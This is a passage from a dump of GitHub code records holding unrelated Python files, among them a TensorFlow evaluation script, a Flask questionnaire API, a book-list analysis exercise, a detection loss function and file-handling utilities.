migrations.AlterField(\n model_name='råvare',\n name='lenket_salgsvare',\n field=models.ForeignKey(blank=True, null=True, to='varer.Salgsvare', related_name='lenkede_raavarer', on_delete=models.CASCADE),\n preserve_default=True,\n ),\n ]\n","repo_name":"cybernetisk/internsystem","sub_path":"varer/migrations/0011_auto_20141222_0447.py","file_name":"0011_auto_20141222_0447.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"18887555592","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n__author__ = 'Arwen'\n__mtime__ = '2020/6/7'\n\"\"\"\nimport os\nimport argparse\nimport time\nimport tensorflow as tf\nfrom models import create_model\nfrom hparams import hparams as hp\nfrom hparams import hparams_debug_string\nfrom datafeeder import get_test_batches, prepare_batch\nfrom util import infolog\nfrom util import plot\nfrom util.tools import ValueWindow, calculate_acc, obtain_list, batch_lcs\nfrom util.audio import map_to_39_2d, load_vocab\n\nphn2idx, idx2phn = load_vocab()\nlog = infolog.log\n\ndef eval(args):\n if args.checkpoint:\n checkpoint_path = args.checkpoint\n else:\n checkpoint_path = tf.train.latest_checkpoint(hp.logdir)\n log('Loading checkpoint: %s' % checkpoint_path)\n log(hparams_debug_string())\n\n # Set up model:\n audio = tf.placeholder(tf.float32, [None, None, hp.num_mels], 'audio')\n sentence = tf.placeholder(tf.int32, [None, None], 'sentence')\n targets = tf.placeholder(tf.int32, [None, None], 'targets')\n audio_length = tf.placeholder(tf.int32, [None], 'audio_length')\n sentence_length = tf.placeholder(tf.int32, [None], 'sentence_length')\n\n # Set up model:\n with tf.variable_scope('model') as scope:\n model = create_model(args.model, hp)\n model.initialize(audio, sentence, audio_length, sentence_length, targets)\n model.add_loss()\n model.add_acc()\n\n # Bookkeeping:\n time_window = ValueWindow(100)\n acc_window = ValueWindow(100)\n correct_window = ValueWindow(100)\n\n # Eval!\n step = 0\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n output_list = []\n target_list = []\n with tf.Session(config=config) as sess:\n sess.run(tf.global_variables_initializer())\n saver = tf.train.Saver()\n saver.restore(sess, checkpoint_path)\n log('Loading evaluate data from: %s' % hp.test_data_path)\n feature_files,batches = get_test_batches(hp.test_data_path)\n for idx, batch in enumerate(batches):\n batch = prepare_batch(batch)\n feed_dict = {\n model.audio: batch[0],\n model.sentence: batch[1],\n model.targets: batch[2],\n model.audio_length: batch[3],\n model.sentence_length: batch[4]\n }\n step = step + 1\n start_time = time.time()\n time_window.append(time.time() - start_time)\n\n output, target, istarget, origin_acc = sess.run([model.preds, model.targets, model.istarget, model.acc],\n feed_dict=feed_dict)\n # mapping to 39\n output = map_to_39_2d(output)\n target = map_to_39_2d(target)\n origin_acc_39 = calculate_acc(istarget,output,target)\n output, target, preds, labels = obtain_list(output,target,istarget)\n acc, correct = batch_lcs(output,target)\n print(origin_acc_39, acc, correct)\n acc_window.append(acc)\n correct_window.append(correct)\n\n output_list.extend(preds)\n target_list.extend(labels)\n\n message = 'Step %-7d [%.03f sec/step, avg=%.05f, correct=%.05f]' % (\n step, time_window.average, acc_window.average, correct_window.average)\n log(message)\n\n plot.plot_confusion_matrix(target_list, output_list, idx2phn, args.checkpoint + \".png\")\n log('Confusion matrix saved!')\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--checkpoint', default='', help='Path to model checkpoint')\n parser.add_argument('--name', default='test', help='Name of the run. Used for logging. Defaults to model name.')\n parser.add_argument('--hp', default='',\n help='Hyperparameter overrides as a comma-separated list of name=value pairs')\n parser.add_argument('--model', default='SED_MDD')\n parser.add_argument('--tf_log_level', type=int, default=1, help='Tensorflow C++ log level.')\n args = parser.parse_args()\n os.environ['TF_CPP_MIN_LOG_LEVEL'] = str(args.tf_log_level)\n run_name = args.name\n os.makedirs(hp.logdir, exist_ok=True)\n infolog.init(os.path.join(hp.logdir, 'eval_new.log'), run_name)\n hp.parse(args.hp)\n eval(args)\n\n\nif __name__ == '__main__':\n main()","repo_name":"ArwenFeng/test","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":4306,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"5197962667","text":"import requests\n\n\nclass Table:\n\n def __init__(self, year, name, limit_max=100):\n self.year = year\n self.name = name\n self.limit_max = limit_max\n\n def get_raw(self, path, *args, **kwargs):\n return self.year.get_raw('tables/%s/%s' % (self.name, path), *args, **kwargs)\n\n def schema(self):\n return self.get_raw('schema')['data']\n\n def get(self, filter_string=None, limit=None, offset=0):\n result = []\n while limit == None or len(result) < limit:\n # prepare get parameters\n get_params = {\n 'limit': self.limit_max if limit == None else min(self.limit_max, limit - len(result)),\n 'offset': offset,\n }\n if filter_string != None:\n get_params['filter'] = filter_string\n\n # get\n response = self.get_raw('', params=get_params)['data']\n result += response\n\n # reached end of table\n if len(response) < self.limit_max:\n break\n\n # next offset\n offset = max(e['id'] for e in response) + 1\n\n return result[0:limit]\n\n\nclass Year:\n\n def __init__(self, api, year):\n self.api = api\n self.year = year\n\n self.tables = {\n table['name']: Table(self, table['name'])\n for table in self.get_raw('tables')['data']\n }\n\n def get_raw(self, path, *args, **kwargs):\n return self.api.get_raw('years/%d/%s' % (self.year, path), *args, **kwargs)\n\n def schema(self):\n return {name: table.schema() for name, table in self.tables.items()}\n\n\nclass API:\n\n def __init__(self, url):\n self.url = url\n\n self.years = {\n year: Year(self, year)\n for year in self.get_raw('years')['data']\n }\n\n def get_raw(self, path, *args, **kwargs):\n response = requests.get(self.url + path, *args, **kwargs)\n response.raise_for_status()\n return response.json()\n\n def schema(self):\n return {year: year_object.schema() for year, year_object in self.years.items()}\n","repo_name":"EE/hackaton-examples","sub_path":"siis/siis.py","file_name":"siis.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"7871351919","text":"from data import data_list\nfrom book import Book\n\n\ndef run_analysis(book_list):\n books = create_book_list(book_list)\n print('')\n print(\"*******************************************************************\")\n print('')\n example_analysis(books)\n print('')\n print(\"*******************************************************************\")\n print('')\n analysis_one(books)\n print('')\n print(\"*******************************************************************\")\n print('')\n analysis_two(books)\n print('')\n print(\"*******************************************************************\")\n print('')\n analysis_three(books)\n\n\ndef create_book_list(data_list):\n book_list = []\n #TODO: Write a function that will loop through data_list, and create a Book object for each list item\n #TODO: Then, add each Book item to book_list\n #TODO: Finally, return book_list for use in analysis questions!\n for book in data_list:\n books_in_list = Book(book)\n book_list.append(books_in_list)\n\n\n return book_list\n\n\ndef example_analysis(book_list):\n print(\"Analysis of which book had the highest price in 2016\")\n # Find all books from 2016\n # Use a Lambda filter function to find books who have a year of 2016\n # Converting to a list, and saving as variable books_2016\n books_2016 = list(filter(lambda book: book.year == 2016, book_list))\n # Calculating the maximum price, and saving that book as highest_cost_book\n # Using max(), with Lambda function\n highest_cost_book = max(books_2016, key=lambda book: book.price)\n # Print that book's name & price to terminal\n print(\n f\"The most expensive book in 2016 was {highest_cost_book.name} with a price of {highest_cost_book.price}\")\n\n\ndef analysis_one(book_list):\n print(\"Analysis of which book had the lowest number of reviews in 2018\")\n books_2018 = list(filter(lambda book: book.year == 2018, book_list))\n lowest_num_review = min(book_list, key=lambda book: book.number_of_reviews)\n print(f\"The book with the lowest number of reviews in 2018 was {lowest_num_review}\")\n\ndef analysis_two(book_list):\n print(\"Analysis of which genre (fiction or non-fiction) has appeared the most in the top 50's list\")\n non_fiction_list = list(filter(lambda book: book.genre == \"Non Fiction\", book_list))\n non_fiction_count = len(non_fiction_list)\n print(f\"The total amount of non fiction books is {non_fiction_count}.\")\n\n fiction_list = list(filter( lambda book : book.genre == \"Fiction\", book_list ))\n fiction_count = len(fiction_list)\n print(f\"The total amount of fiction books is {fiction_count}.\")\n print(f\"The genre with the highest appearence count on the top 50's list is {non_fiction_count}!\")\n \n \ndef analysis_three(book_list):\n print(\"Analysis of which book has appeared the most in the top 50's list, and how many times it has appeared\")\n most_appearances= []\n name_and_frequency = {\"name\": '', \"frequency\": 0}\n book_names = set([book.name for book in book_list])\n for name in book_names:\n unique_names = list(filter(lambda book : book.name == name, book_list))\n unique_name_count = len(unique_names)\n\n if unique_name_count >= name_and_frequency[\"frequency\"]:\n name_and_frequency[\"name\"] = name \n name_and_frequency[\"frequency\"] = unique_name_count\n\n print(name_and_frequency)\n \n# BONUS USER STORIES:\n\n\ndef bonus_analysis_one(book_list):\n print(\"Analysis of which author has shown up on the top 50's list the most (Distinct books only!)\")\n\n\ndef bonus_analysis_two(book_list):\n print(\"Analysis of the top book for each year, based on the book's user ratings and number of reviews\")\n\n\ndef bonus_analysis_three(book_list):\n print(\"Analysis of which book has appeared the most consecutively on top 50's list\")\n\n\nrun_analysis(data_list)\n","repo_name":"karenclewis21/BestSellersProject.py","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3272511871","text":"import torch\nfrom bench.core.executer import Executer\n\n\ndef l1_loss(pred, target):\n \"\"\"L1 loss.\n\n Args:\n pred (torch.Tensor): The prediction.\n target (torch.Tensor): The learning target of the prediction.\n\n Returns:\n torch.Tensor: Calculated loss\n \"\"\"\n assert pred.size() == target.size() and target.numel() > 0\n loss = torch.abs(pred - target)\n return loss\n\n\ndef carl_loss(\n cls_score,\n labels,\n bbox_pred,\n bbox_targets,\n loss_bbox,\n k=1,\n bias=0.2,\n avg_factor=None,\n sigmoid=False,\n num_class=80,\n):\n \"\"\"Classification-Aware Regression Loss (CARL).\n\n Args:\n cls_score (Tensor): Predicted classification scores.\n labels (Tensor): Targets of classification.\n bbox_pred (Tensor): Predicted bbox deltas.\n bbox_targets (Tensor): Target of bbox regression.\n loss_bbox (func): Regression loss func of the head.\n bbox_coder (obj): BBox coder of the head.\n k (float): Power of the non-linear mapping.\n bias (float): Shift of the non-linear mapping.\n avg_factor (int): Average factor used in regression loss.\n sigmoid (bool): Activation of the classification score.\n num_class (int): Number of classes, default: 80.\n\n Return:\n dict: CARL loss dict.\n \"\"\"\n pos_label_inds = (((labels >= 0) &\n (labels < num_class)).nonzero().reshape(-1))\n\n if pos_label_inds.numel() == 0:\n return dict(loss_carl=cls_score.sum()[None] * 0.0)\n pos_labels = labels[pos_label_inds]\n\n # multiply pos_cls_score with the corresponding bbox weight\n # and remain gradient\n if sigmoid:\n pos_cls_score = cls_score.sigmoid()[pos_label_inds, pos_labels]\n else:\n pos_cls_score = cls_score.softmax(-1)[pos_label_inds, pos_labels]\n carl_loss_weights = (bias + (1 - bias) * pos_cls_score).pow(k)\n\n # normalize carl_loss_weight to make its sum equal to num positive\n num_pos = float(pos_cls_score.size(0))\n weight_ratio = num_pos / carl_loss_weights.sum()\n carl_loss_weights *= weight_ratio\n\n if avg_factor is None:\n avg_factor = bbox_targets.size(0)\n # if is class agnostic, bbox pred is in shape (N, 4)\n # otherwise, bbox pred is in shape (N, #classes, 4)\n if bbox_pred.size(-1) > 4:\n bbox_pred = bbox_pred.view(bbox_pred.size(0), -1, 4)\n pos_bbox_preds = bbox_pred[pos_label_inds, pos_labels]\n else:\n pos_bbox_preds = bbox_pred[pos_label_inds]\n ori_loss_reg = (loss_bbox(pos_bbox_preds, bbox_targets[pos_label_inds]) /\n avg_factor)\n loss_carl = (ori_loss_reg * carl_loss_weights[:, None]).sum()\n return loss_carl\n\n\ndef args_adaptor(np_args):\n cls_score = torch.from_numpy(np_args[0]).cuda()\n labels = torch.from_numpy(np_args[1]).cuda()\n bbox_pred = torch.from_numpy(np_args[2]).cuda()\n bbox_targets = torch.from_numpy(np_args[3]).cuda()\n loss_bbox = l1_loss\n\n return [cls_score, labels, bbox_pred, bbox_targets, loss_bbox]\n\n\ndef executer_creator():\n return Executer(carl_loss, args_adaptor)\n","repo_name":"DeepLink-org/DLOP-Bench","sub_path":"bench/samples/long_tail/carl_loss/torch_impl.py","file_name":"torch_impl.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"18"} +{"seq_id":"16983670432","text":"class Solution:\n def minimumRounds(self, tasks: List[int]) -> int:\n htable = {}\n rounds = 0\n \n for val in tasks:\n htable[val] = 1 + htable.get(val, 0)\n\n for diff in htable:\n occ = htable[diff]\n if occ == 1:\n return -1\n elif occ % 3 == 0:\n rounds += (occ // 3)\n else:\n # 13 - three 3s and two 2s: 13 // 3 = 4, 13 % 3 = 1, \n # so since its % 3 = 1, take (13 // 3) + (13 % 3) to get the rounds\n # 17 - five 3s and one 2: 17 // 3 = 5, 17 % 3 = 2,\n # so since its % 3 = 2, take (17 // 3) + (17 % 3) - 1 to get the rounds\n # 25 - seven 3s and two 2s: 25 // 3 = 8, 25 % 3 = 1,\n # its % 3 = 1 again, take (25 // 3) + (25 % 3) to get the rounds\n if occ % 3 == 2:\n rounds += ((occ // 3) + (occ % 3) - 1)\n else:\n rounds += ((occ // 3) + (occ % 3))\n \n return rounds\n ","repo_name":"dyhliang/Leetcode","sub_path":"2244-minimum-rounds-to-complete-all-tasks/2244-minimum-rounds-to-complete-all-tasks.py","file_name":"2244-minimum-rounds-to-complete-all-tasks.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"27034451931","text":"from . import peaks\r\nfrom . import events\r\nfrom . import config\r\nimport pandas as pd\r\nimport os\r\nimport numpy as np\r\n\r\ndrive_dir = '/media/daqtest/'\r\nRUN = 'Run29'\r\ntypes = ['peaks','events','waveforms']\r\npotential_drives = os.listdir(drive_dir)\r\nsandaw_drives = []\r\n\r\nfor i, d in enumerate(potential_drives):\r\n if np.isin('SanDAWEnabled.txt', os.listdir(f\"{drive_dir}{d}\")):\r\n sandaw_drives.append(d)\r\n\r\ndef UpdateRunList():\r\n run_modes_df = []\r\n run_ids_df = []\r\n drive_df = []\r\n n_type_seg_df = {t:[] for t in types}\r\n \r\n for sd in sandaw_drives:\r\n drive = f\"{drive_dir}{sd}/{RUN}/processed/\"\r\n rawdata_dir = f\"{drive_dir}{sd}/{RUN}/rawdata/\"\r\n\r\n run_modes = os.listdir(rawdata_dir)\r\n\r\n for rm in run_modes:\r\n runs = os.listdir(f\"{rawdata_dir}{rm}\")\r\n for r in runs:\r\n try:\r\n allfiles = os.listdir(f\"{drive}{rm}/{r}\")\r\n for t in types:\r\n n_type_seg_df[t].append(len([f for f in allfiles if f.startswith(t)]))\r\n except:\r\n for t in types:\r\n n_type_seg_df[t].append(0)\r\n run_modes_df.append(rm)\r\n run_ids_df.append(r)\r\n drive_df.append(sd)\r\n\r\n master_runs_df = pd.DataFrame({'run_mode': run_modes_df,\r\n 'run_id': run_ids_df,\r\n 'n_peak_segments': n_type_seg_df['peaks'],\r\n 'drive': drive_df,\r\n 'n_waveform_segments': n_type_seg_df['waveforms'],\r\n 'n_event_segments': n_type_seg_df['events']})\r\n \r\n return master_runs_df\r\n \r\nclass Loader():\r\n def __init__(self, config_file, run_list = None):\r\n self.peaks = peaks.Peaks(config_file)\r\n self.events = events.Events(config_file)\r\n if run_list == None:\r\n self.run_list = UpdateRunList()\r\n elif type(run_list) == str:\r\n self.run_list = pd.read_hdf(run_list, 'runs')\r\n else:\r\n self.run_list = run_list\r\n self.datatype_dict = {'peaks' : self.peaks, 'events' : self.events}\r\n \r\n def GetData(self, file, data_type, **kwargs):\r\n return self.datatype_dict[data_type].Load(file, **kwargs)\r\n \r\n def LoadRuns(self, run_ids, data_type, max_segments = None, **kwargs):\r\n if type(run_ids) == str:\r\n runs = self.run_list[self.run_list['run_id'] == run_ids]\r\n elif hasattr(run_ids, '__iter__'):\r\n runs = self.run_list[np.isin(self.run_list['run_id'], run_ids)]\r\n else:\r\n raise ValueError('Please either input a string for the run_id or a list of run_ids')\r\n \r\n drives = list(runs['drive'])\r\n run_modes = list(runs['run_mode'])\r\n rids = list(runs['run_id'])\r\n run_segments = list(runs['n_event_segments'])\r\n \r\n \r\n data = []\r\n for i, rid in enumerate(rids):\r\n if max_segments == None:\r\n d = [self.GetData(f\"{drive_dir}\"\r\n f\"{drives[i]}/\"\r\n f\"{RUN}/\"\r\n f\"processed/\"\r\n f\"{run_modes[i]}/\"\r\n f\"{rid}/\"\r\n f\"{data_type}_{rid}_seg{s}.bin\", data_type, **kwargs) for s in range(run_segments[i])]\r\n else:\r\n d = [self.GetData(f\"{drive_dir}\"\r\n f\"{drives[i]}/\"\r\n f\"{RUN}/\"\r\n f\"processed/\"\r\n f\"{run_modes[i]}/\"\r\n f\"{rid}/\"\r\n f\"{data_type}_{rid}_seg{s}.bin\", data_type, **kwargs) for s in range(min(run_segments[i],max_segments))]\r\n d = np.concatenate(d)\r\n \r\n run_metadata_path = [i for i in os.listdir(f\"{drive_dir}{drives[i]}/{RUN}/rawdata/{run_modes[i]}/{rid}/\") if i.startswith(\"metadata\")][0]\r\n run_metadata = config.LoadConfig(f\"{drive_dir}{drives[i]}/{RUN}/rawdata/{run_modes[i]}/{rid}/{run_metadata_path}\")\r\n run_unix_time = np.int64(run_metadata['metadata']['UnixTime'])\r\n \r\n for t in d.dtype.names:\r\n if (t.endswith('time')&(t!='drift_time')):\r\n d[t] += run_unix_time\r\n \r\n data.append(d)\r\n return np.concatenate(data)","repo_name":"darkmatter-ucsd/sandaq","sub_path":"sandawpy/.ipynb_checkpoints/loader-checkpoint.py","file_name":"loader-checkpoint.py","file_ext":"py","file_size_in_byte":4437,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"33748856114","text":"# DFS 문제 - 음료수 얼려 먹기\nfrom collections import deque\n\n# 입력 받기\n# n, m: 얼음틀의 세로(행), 가로(열) 길이\n# data: 얼음틀 정보\nn, m = map(int, input().split())\ngraph = []\nfor i in range(n):\n graph.append(list(map(int, input())))\n\n\n# dfs로 특정 노드 방문 뒤, 인접 노드들 모두 방문 처리\ndef dfs(r, c):\n # 주어진 범위 벗어나면 즉시 종료\n if r < 0 or r >= n or c < 0 or c >= m:\n return False\n \n # 현재 노드가 방문 전이라면\n if graph[r][c] == 0:\n \n # 현재 노드 방문 처리\n graph[r][c] = 1\n\n # 인접 노드들 모두 방문 (상하좌우)\n dfs(r - 1, c)\n dfs(r + 1, c)\n dfs(r, c - 1)\n dfs(r, c + 1)\n \n # 아이스크림 하나 완성\n return True\n\n # 현재 노드가 이미 방문 완료라면\n return False\n\n# 모든 노드에 대해 음료수 채움\nice = 0 # 아이스크림 개수 초기화\nfor i in range(n):\n for k in range(m):\n # 모든 노드에 대해 dfs 수행\n if dfs(i, k) == True:\n ice += 1\n\n# 결과 출력\nprint(ice)","repo_name":"bokkuembab/For-coding-practice","sub_path":"Book-이것이코테다/3. BFS&DFS/5-10 음료수 얼려 먹기.py","file_name":"5-10 음료수 얼려 먹기.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1389301878","text":"from flask import Flask, request\nfrom flask_restful import Resource, Api\nfrom flask_cors import CORS\n\napp = Flask(__name__)\napi = Api(app)\nCORS(app)\n\nimport plotly.express as px\nimport pandas as pd\nfrom math import floor\nimport pba\ntry:\n print('run from root')\n from application.engine import *\nexcept:\n print('running from application')\n from engine import *\n\nfrom io import StringIO\n\n\n@app.route(\"/\")\ndef hello():\n return \"Hello World!\"\ncsv = 'application/default_questionnaire_v2.csv'\n\n\nclass Start(Resource):\n def post(self):\n _verbose = False\n # default_ = 'test_3_inputs.csv'\n\n json_data = request.get_json()\n # ppv = json_data['ppv']\n try:\n compute_option = json_data['compute_ratio']\n except:\n compute_option = 'precise'\n # if _verbose: print(json_data['csv'])\n # if json_data['csv'] == \"\":\n # csv = default_\n # else:\n # csv = StringIO(json_data['csv'])\n # csv = default_\n \n # if '[' in str(ppv):\n # ppv = pba.I(*[float(i) for i in ppv.replace('[','').replace(']',\"\").split(',')])\n # else:\n # ppv = float(ppv)\n pd.read_csv(csv)\n Q = Questionnaire(csv)\n Q._verbose = False\n Q.generate_Questionnaire(compute_option)\n # if hasattr(Q,'inc_question_ind'):\n # Q.inc_question_ind = 0\n # Q._increment_PPV = ppv\n if _verbose: print(Q.csv)\n \n question_data = Q.get_interface_Questionnaire()\n return {'Qid': list(question_data['Qid']),\n 'Qtype': list(question_data['Qtype']),\n 'questions': list(question_data['question_text']),\n 'header': list(question_data['header']),\n 'section': list(question_data['section']),\n 'dependant': list(question_data['dependant'].fillna(0)),\n 'description': list(question_data['description'].fillna(\"\"))}\n\nclass Submit(Resource):\n def post(self):\n _verbose = False\n default_ = 'test_3_inputs.csv'\n json_data = request.get_json()\n ppv = json_data['ppv']\n try:\n compute_option = json_data['compute_ratio']\n except:\n compute_option = 'precise'\n \n # if json_data['csv'] == \"\":\n # csv = default_\n # else:\n # csv = StringIO(json_data['csv'])\n # # csv = default_\n \n if _verbose: print('Working Questionnaire...')\n if _verbose: print(csv)\n \n if '[' in str(ppv):\n ppv = pba.I(*[float(i) for i in ppv.replace('[','').replace(']',\"\").split(',')])\n else:\n ppv = float(ppv)\n\n Q = Questionnaire(csv)\n Q.generate_Questionnaire(compute_option)\n Q.prevelence = ppv\n # json_data = request.get_json()\n answers = json_data['answers']\n Q.evaluate_Questionnaire(answers)\n inc_ppv = ['[{:.3f},{:.3f}]'.format(i.left,i.right) for i in Q.ppv_store ]\n return {'ppv': '[%.3f,%.3f]'%(Q.final_ppv.left,Q.final_ppv.right), 'incremental_ppv':inc_ppv}\n \ndef print_fact_array(ppv: Interval):\n #!TODO: make it work for other sizes\n x = [i for i in range(10) for j in range(10)]\n y = [j for i in range(10) for j in range(10)]\n\n N = len(x)\n col = []\n for i in range(N):\n if i/N < ppv.left:\n col.append('sick')\n elif i/N < ppv.right:\n col.append('dunno')\n else:\n col.append('well')\n \n\n fig = px.scatter(pd.DataFrame({'x':x,'y':y,'col':col}), x='x',y='y',color = 'col')\n fig.update_traces(marker=dict(size=12))\n return fig.to_html(full_html=False)\n \nclass Plot(Resource):\n def post(self):\n #!TODO: make it work for other sizes\n x = [i for i in range(10) for j in range(10)]\n y = [j for i in range(10) for j in range(10)]\n ppv = request.get_json()\n N = len(x)\n red_stop = floor(N*ppv['ppvl'])\n orange_stop = floor(N*ppv['ppvr'])\n\n\n \n red_x = x[0:red_stop]\n red_y = y[0:red_stop]\n orange_x = x[red_stop:orange_stop]\n orange_y = y[red_stop:orange_stop] \n green_x = x[orange_stop:]\n green_y = y[orange_stop:]\n print(1)\n return {\n 'red_x' : red_x,\n 'red_y' : red_y,\n 'orange_x' : orange_x,\n 'orange_y' : orange_y,\n 'green_x' : green_x,\n 'green_y' : green_y,\n } \n\ndef string2interval(JSint):\n if '[' in JSint:\n Int = JSint.replace('[','').replace(']','').split(',')\n Int = [float(i) for i in Int]\n elif isinstance(JSint, float):\n Int = JSint\n return Interval(Int)\n\nclass Whatiftest(Resource):\n def post(self):\n json_data = request.get_json() \n print('Sense: {}'.format(json_data['sensitivity']))\n print('Sense: {}'.format(json_data['specificity']))\n print(json_data['ppv'])\n PPV = string2interval(json_data['ppv']) #json_data['ppv'].replace('[','').replace(']','').split(',')\n print(PPV)\n #TODO make sens spec interval and float sensitive \n \n test = Test(json_data['sensitivity'],json_data['specificity'],PPV)\n #test\n Yes, No = test.what_if()\n return {'sensitivity':json_data['sensitivity'],\n 'specificity':json_data['specificity'],\n 'PPV_YES':'[%.3f,%.3f]'%(Yes.left,Yes.right),\n 'PPV_NO':'[%.3f,%.3f]'%(No.left,No.right)}\n\n\nclass TestResult(Resource):\n \n def post(self):\n json_data = request.get_json() \n print(10*'\\n')\n PPV = string2interval(json_data['ppv']) #json_data['ppv'].replace('[','').replace(']','').split(',')\n Sense = string2interval(json_data['sensitivity'])\n Spec = string2interval(json_data['specificity'])\n \n print('Sense: {}'.format(Sense))\n print('spec: {}'.format(Spec))\n print(json_data['ppv'])\n print(PPV)\n #TODO make sens spec interval and float sensitive \n \n test = Test(Sense,Spec,PPV)\n #test\n result = test.test_results(Interval(json_data['result']))\n return {'sensitivity':json_data['sensitivity'],\n 'specificity':json_data['specificity'],\n 'postTestPPV':'[%.3f,%.3f]'%(result.left,result.right),}\n\n\napi.add_resource(Submit, '/Submit')\napi.add_resource(Start,\"/Start\")\napi.add_resource(Whatiftest,\"/testthetest\")\napi.add_resource(TestResult,'/testresult')\napi.add_resource(Plot,'/Plot')\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"dominiccalleja/BayesCalc-archive","sub_path":"application/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32172456935","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n#\n# @Description:\n# @PreInstall: Pillow\n# @Author : bajins https://www.bajins.com\n# @File : file_util.py\n# @Version: 1.0.0\n# @Time : 2019/8/21 15:32\n# @Project: windows-wallpaper-python\n# @Package: \n# @Software: PyCharm\nimport configparser\nimport os\nimport stat\nimport time\nimport zipfile\n\nfrom shutil import copy\n\n# pip install Pillow\nfrom PIL import Image\n\nfrom . import string_util\n\n\ndef path_join(*path):\n \"\"\"\n 路径拼接\n :param path:路径字符串数组\n :return:\n \"\"\"\n final_path = \"\"\n for i in range(len(path)):\n p = path[i]\n if string_util.is_empty(p):\n continue\n if string_util.check_startswith(p):\n p = p[1:]\n if string_util.check_endswith(p):\n p = p[:-1]\n if i == 0:\n final_path = p\n else:\n final_path = os.path.join(final_path, p)\n\n\ndef image_to_bmp(image_path):\n \"\"\"\n 转换图片为bmp格式\n :param image_path:\n :return:\n \"\"\"\n # 分割路径和文件名\n filepath, filename = os.path.split(image_path)\n # 分割文件的名字和后缀\n filename, extension = os.path.splitext(filename)\n # 替换文件后缀组成新的路径\n new_path = image_path.replace(extension, '.bmp')\n # 打开图片\n bmp_image = Image.open(image_path)\n # 保存为bmp\n bmp_image.save(new_path, \"BMP\")\n return new_path\n\n\ndef replace_file_content(file, old_str, new_str):\n \"\"\"\n 替换文件中的字符串\n :param file:文件名\n :param old_str:旧字符串\n :param new_str:新字符串\n :return:\n \"\"\"\n file_data = \"\"\n with open(file, \"r\", encoding=\"utf-8\") as f:\n for line in f:\n if old_str in line:\n line = line.replace(old_str, new_str)\n file_data += line\n with open(file, \"w\", encoding=\"utf-8\") as f:\n f.write(file_data)\n\n\ndef zip_extract(file_path, pwd):\n \"\"\"\n 解压zip文件\n :param file_path: zip文件路径\n :param pwd: 解压目的地目录\n :return:\n \"\"\"\n zip_file = zipfile.ZipFile(file_path, \"r\")\n # ZipFile.namelist(): 获取ZIP文档内所有文件的名称列表\n for fileM in zip_file.namelist():\n zip_file.extract(fileM, pwd)\n zip_file.close()\n\n\ndef parent_path(file):\n \"\"\"\n 获取文件的父级目录\n :param file:文件\n :return:\n \"\"\"\n return os.path.dirname(os.path.dirname(file))\n\n\ndef remove_read_only(filename):\n \"\"\"\n 清除文件的只读标记\n stat.S_IREAD: windows下设为只读\n stat.S_IWRITE: windows下取消只读\n stat.S_IROTH: 其他用户有读权限\n stat.S_IRGRP: 组用户有读权限\n stat.S_IRUSR: 拥有者具有读权限\n :param filename:\n :return:\n \"\"\"\n os.chmod(filename, stat.S_IWRITE)\n\n\ndef read_file(file_path):\n \"\"\"\n 读取文件内容\n :param file_path: 文件全路径\n :return:\n \"\"\"\n # 一次性读入txt文件，并把内容放在变量lines中\n with open(file_path) as lines:\n # 返回的是一个列表，该列表每一个元素是txt文件的每一行\n return lines.readlines()\n\n\ndef read_file_remove_line_feed(file_path):\n \"\"\"\n 读取文件内容并删除换行符\n :param file_path: 文件全路径\n :return:\n \"\"\"\n # 一次性读入txt文件，并把内容放在变量lines中\n with open(file_path) as lines:\n # 返回的是一个列表，该列表每一个元素是txt文件的每一行\n array = lines.readlines()\n # 使用一个新的列表来装去除换行符\\n后的数据\n array2 = []\n # 遍历array中的每个元素\n for i in array:\n # 去掉换行符\\n\n i = i.strip('\\n')\n # 把去掉换行符的数据放入array2中\n array2.append(i)\n return array2\n\n\ndef write_temp(file_path, lines):\n \"\"\"\n 创建临时文件 import tempfile\n :param file_path:文件全路径\n :param lines:内容\n :return:\n \"\"\"\n with open(file_path, 'wt') as f:\n f.writelines(lines)\n return f.name\n\n\ndef write_lines(file_path, lines):\n \"\"\"\n 覆盖文件内容，在文件中写入多行\n :param file_path: 文件全路径\n :param lines: 写入内容数组\n :return:\n \"\"\"\n with open(file_path, \"w+\") as f:\n f.writelines(lines)\n f.close()\n\n\ndef delete_size(min_size):\n \"\"\"\n 删除小于指定值的文件（单位：K）\n :param min_size:\n :return:\n \"\"\"\n # 列出目录下的文件\n files = os.listdir(os.getcwd())\n for file in files:\n if os.path.getsize(file) < min_size * 1000:\n # 删除文件\n os.remove(file)\n print(file + \" deleted\")\n return\n\n\ndef delete_null_file():\n \"\"\"\n 删除所有大小为0的文件\n :return:\n \"\"\"\n files = os.listdir(os.getcwd())\n for file in files:\n # 获取文件大小\n if os.path.getsize(file) == 0:\n os.remove(file)\n print(file + \" deleted.\")\n return\n\n\ndef create_file(suffix):\n \"\"\"\n 根据本地时间创建指定后缀的新文件，如果已存在则不创建\n :param suffix: 后缀\n :return:\n \"\"\"\n # 将指定格式的当前时间以字符串输出\n t = time.strftime('%Y-%m-%d', time.localtime())\n new_file = t + suffix\n if not os.path.exists(new_file):\n f = open(new_file, 'w')\n print(new_file)\n 